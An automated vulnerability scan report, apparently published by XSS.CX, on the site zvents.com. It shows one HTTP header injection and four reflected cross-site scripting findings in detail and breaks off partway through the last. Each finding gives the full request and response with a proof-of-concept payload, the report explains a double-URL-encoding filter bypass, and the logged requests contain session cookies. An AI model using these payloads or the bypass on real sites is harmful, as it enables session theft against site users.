XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, zvents.com

Report generated by XSS.CX at Sun Jun 05 06:30:13 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. http://www.zvents.com/z/dallas-tx/theater_arts [REST URL parameter 3]

2.2. http://www.zvents.com/z/metrics/document-ready [REST URL parameter 3]

2.3. http://www.zvents.com/z/stylesheets/layout.css [REST URL parameter 3]

2.4. http://www.zvents.com/z/stylesheets/uex.css [REST URL parameter 3]

3. Flash cross-domain policy

4. Cookie scoped to parent domain

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. http://www.zvents.com/z/dallas-tx

6.2. http://www.zvents.com/z/dallas-tx/theater_arts

6.3. http://www.zvents.com/z/javascripts/head.js

7. Cookie without HttpOnly flag set

7.1. http://www.zvents.com/

7.2. http://www.zvents.com/z/dallas-tx

7.3. http://www.zvents.com/zat

8. Email addresses disclosed

9. Robots.txt file



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /zat

Issue detail

The value of the welcome cookie is copied into the Set-Cookie response header. The payload a27dd%0d%0a7416f347a3f was submitted in the welcome cookie. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /zat?r=&url=http%3A%2F%2Fwww.zvents.com%2Fz%2Fdallas-tx&sid=13072009388160.9879527040757239&uid=13072009388160.47913454147055745&flavor=zvents_uexweb&ploc=Dallas%2C%20TX&uloc=Dallas%2C%20TX&pt=homepage&pid=0&src=zmp&type=click&cm=slideshow&from=e%3A176249825&to=e%3A176249825&sp=0&oids=&__t=1307201525337 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; welcome=a27dd%0d%0a7416f347a3f; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; flavor=new; user_location=dallas-tx; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.12.9.1307201525336

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:33:52 GMT
Content-Type: image/gif
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: welcome=a27dd
7416f347a3f
;Path=/;Domain=zvents.com;Expires=Mon, 27-May-41 15: 33:52 GMT
Content-Length: 42

GIF89a.............!.......,...........D.;

2. Cross-site scripting (reflected)  previous  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.zvents.com/z/dallas-tx/theater_arts [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/dallas-tx/theater_arts

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e110e%2527%253balert%25281%2529%252f%252f138a95e05e was submitted in the REST URL parameter 3. This input was echoed as e110e';alert(1)//138a95e05e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /z/dallas-tx/theater_artse110e%2527%253balert%25281%2529%252f%252f138a95e05e HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; user_location=dallas-tx; s_cc=true; cf=6; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.27.5.1307201571587; welcome=17emJAVAmFkjNzuktxOEvA.110989409; SC_LINKS=homepage%5E%5ETHEATER%20%2B%20ARTS%5E%5Ehomepage%20%7C%20THEATER%20%2B%20ARTS%5E%5E; s_invisit=true; c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx/theater_arts%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:37:57 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
ETag: "1898a01c69ed53be2c44e5968d72bf5d"
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:37:56 GMT
Set-Cookie: user_location=dallas-tx; path=/
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 0.911664
Content-Length: 36484

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
'undefined') {
for(var name in site_catalyst_extras) {
s_zv[name] = site_catalyst_extras[name];
} }
s_zv.prop41='not logged in';
s_zv.prop49='art_ZEN';
s_zv.prop12='searches';
s_zv.prop1='theater_artse110e';alert(1)//138a95e05e';
s_zv.prop2='';
s_zv.prop3='this year';
s_zv.prop4='50';
s_zv.prop5='0';
s_zv.prop6='any';
s_zv.prop7='0';
s_zv.prop8='new';
s_zv.prop9='';
s_zv.prop11='theater_artse110e';alert(1)//138a95e05e:this y
...[SNIP]...

2.2. http://www.zvents.com/z/metrics/document-ready [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/metrics/document-ready

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92558%2527%253balert%25281%2529%252f%252fe652825901b was submitted in the REST URL parameter 3. This input was echoed as 92558';alert(1)//e652825901b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /z/metrics/document-ready92558%2527%253balert%25281%2529%252f%252fe652825901b?loadTime=12237 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); came_from_classic=1307201518; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiC3JhZGl1c2lQIgljaXR5IgtEYWxsYXMiCmVycm9yRiINbGF0aXR1ZGVmFzMyLjc4MjUwMTIyMDcwMzEyNSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBAiCnN0YXRlIgdUWA%3D%3D--37c74f5a1342da98c23e4ccfad7410b5a8777c23; flavor=new; user_location=dallas-tx; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.12.9.1307201525336; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_invisit=true; c_m=NoneDirect%20LoadDirect%20Load; cf=5; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:33:55 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
ETag: "b9b42ace910f61dce4b7c3b1c69ee617"
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:33:54 GMT
Set-Cookie: user_location=meterik-netherlands; path=/
Set-Cookie: _uex_web_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbBnsLOgljaXR5SSILRGFsbGFzBjsAVDoKc3RhdGVJIgdUWAY7AFQ6DWxhdGl0dWRlZhozMi43NzgxOTk5OTk5OTk5OTgA36Q6DmxvbmdpdHVkZWYbLTk2Ljc5NTQwMDAwMDAwMDAwMQDPQjoMY291bnRyeUkiElVuaXRlZCBTdGF0ZXMGOwBUOg10aW1lem9uZUl1OhlUWkluZm86OkRhdGFUaW1lem9uZRZBbWVyaWNhL01vbnRlcnJleQY7AEZJIhVjaGFuZ2VkX2xvY2F0aW9uBjsARlQ%3D--a2d53b9c520cf90093c902f553a14dc5ed67d899; path=/; HttpOnly
X-Runtime: 1.308406
Content-Length: 32384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
undefined') {
for(var name in site_catalyst_extras) {
s_zv[name] = site_catalyst_extras[name];
} }
s_zv.prop41='not logged in';
s_zv.prop49='art_ZEN';
s_zv.prop12='searches';
s_zv.prop1='document-ready92558';alert(1)//e652825901b';
s_zv.prop2='';
s_zv.prop3='this year';
s_zv.prop4='50';
s_zv.prop5='0';
s_zv.prop6='any';
s_zv.prop7='0';
s_zv.prop8='new';
s_zv.prop9='';
s_zv.prop11='document-ready92558';alert(1)//e652825901b:thi
...[SNIP]...

2.3. http://www.zvents.com/z/stylesheets/layout.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/stylesheets/layout.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7240%2527%253balert%25281%2529%252f%252f6752267e5d8 was submitted in the REST URL parameter 3. This input was echoed as d7240';alert(1)//6752267e5d8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /z/stylesheets/d7240%2527%253balert%25281%2529%252f%252f6752267e5d8?1307041263 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:33:02 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
ETag: "7dee26326011ee0a31beba3c974a1665"
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:33:01 GMT
Set-Cookie: user_location=dallas-tx; path=/
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 0.977197
Content-Length: 36431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
st_extras != 'undefined') {
for(var name in site_catalyst_extras) {
s_zv[name] = site_catalyst_extras[name];
} }
s_zv.prop41='not logged in';
s_zv.prop49='art_ZEN';
s_zv.prop12='searches';
s_zv.prop1='d7240';alert(1)//6752267e5d8';
s_zv.prop2='';
s_zv.prop3='this year';
s_zv.prop4='50';
s_zv.prop5='0';
s_zv.prop6='any';
s_zv.prop7='0';
s_zv.prop8='new';
s_zv.prop9='';
s_zv.prop11='d7240';alert(1)//6752267e5d8:this year::50';
s
...[SNIP]...

2.4. http://www.zvents.com/z/stylesheets/uex.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zvents.com
Path:   /z/stylesheets/uex.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9609f%2527%253balert%25281%2529%252f%252f26ad6526930 was submitted in the REST URL parameter 3. This input was echoed as 9609f';alert(1)//26ad6526930 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /z/stylesheets/9609f%2527%253balert%25281%2529%252f%252f26ad6526930?1307041259 HTTP/1.1
Host: www.zvents.com
Proxy-Connection: keep-alive
Referer: http://www.zvents.com/z/dallas-tx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: zvents_tracker_sid=13072009388160.9879527040757239; s_vnum=1309792431195%26vn%3D1; __qca=P0-173589948-1307200432075; s_vi=[CS]v1|26F525D7051D281A-4000010B4014198C[CE]; user_of_classic=1307200934; came_from_classic=1307200934; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlOGIwNDEyODlhMzJhZDFhNzY0ZmMwMzYwNWNkZTJiODkiDWxvY2F0aW9uexAiCWNpdHkiC0RhbGxhcyILcmFkaXVzaVAiDWxhdGl0dWRlZhczMi43ODI1MDEyMjA3MDMxMjUiCmVycm9yRiISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDXRpbWV6b25lIhZBbWVyaWNhL01vbnRlcnJleSITZGlzcGxheV9zdHJpbmciD0RhbGxhcywgVFgiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYYLTk2LjgyMDcwMTU5OTEyMTA5NCIRd2hlcmVfc3RyaW5nQBQiCnN0YXRlIgdUWA%3D%3D--f569052f807034f9c4140c9935bcff7759242a94; z_zv_auth=c82f4018b9f6528353a805e4da173831BAh7BjoMdXNlcl9pZGkA; show_redirect_modal=1307200934; __gads=ID=70f58792d242cba3:T=1307200942:S=ALNI_Maqevikt9p17WqGQ610pwUz1vt3Lw; cf=4; __utmz=48628589.1307200959.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_m=NoneDirect%20LoadDirect%20Load; s_sq=zvproduex%3D%2526pid%253Dhomepage%2526pidt%253D1%2526oid%253Dhttp%25253A//www.zvents.com/z/dallas-tx%252523f0%2526ot%253DA; user_location=dallas-tx; __utma=48628589.1488827615.1307200942.1307200942.1307200942.1; __utmc=48628589; __utmb=48628589.11.9.1307201081073; welcome=17emJAVAmFkjNzuktxOEvA.110989409; s_cc=true; SC_LINKS=undefined%5E%5EZvents%3A%20Discover%20Things%20To%20Do%5E%5Eundefined%20%7C%20Zvents%3A%20Discover%20Things%20To%20Do%5E%5E; s_invisit=true; flavor=new; _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 04 Jun 2011 15:33:13 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Status: 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
ETag: "d67ca09e99d8317a2cc26b923591ca07"
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: flavor=new; path=/; expires=Wed, 04-Jun-2031 15:33:12 GMT
Set-Cookie: user_location=dallas-tx; path=/
Set-Cookie: _uex_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRiIlMmZiNjgxZmFiMTcyMzFiNThmMzZhMTlhZjUwODY3ZTlJIhxwcmV2aW91c191c2VyX2xvY2F0aW9ucwY7AEZbAA%3D%3D--9a3b91bdc9716dd6d98e9bb064fc8f0bb061b4a3; path=/; HttpOnly
X-Runtime: 1.192210
Content-Length: 36431

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'>
<
...[SNIP]...
st_extras != 'undefined') {
for(var name in site_catalyst_extras) {
s_zv[name] = site_catalyst_extras[name];
} }
s_zv.prop41='not logged in';
s_zv.prop49='art_ZEN';
s_zv.prop12='searches';
s_zv.prop1='9609f';alert(1)//26ad6526930';
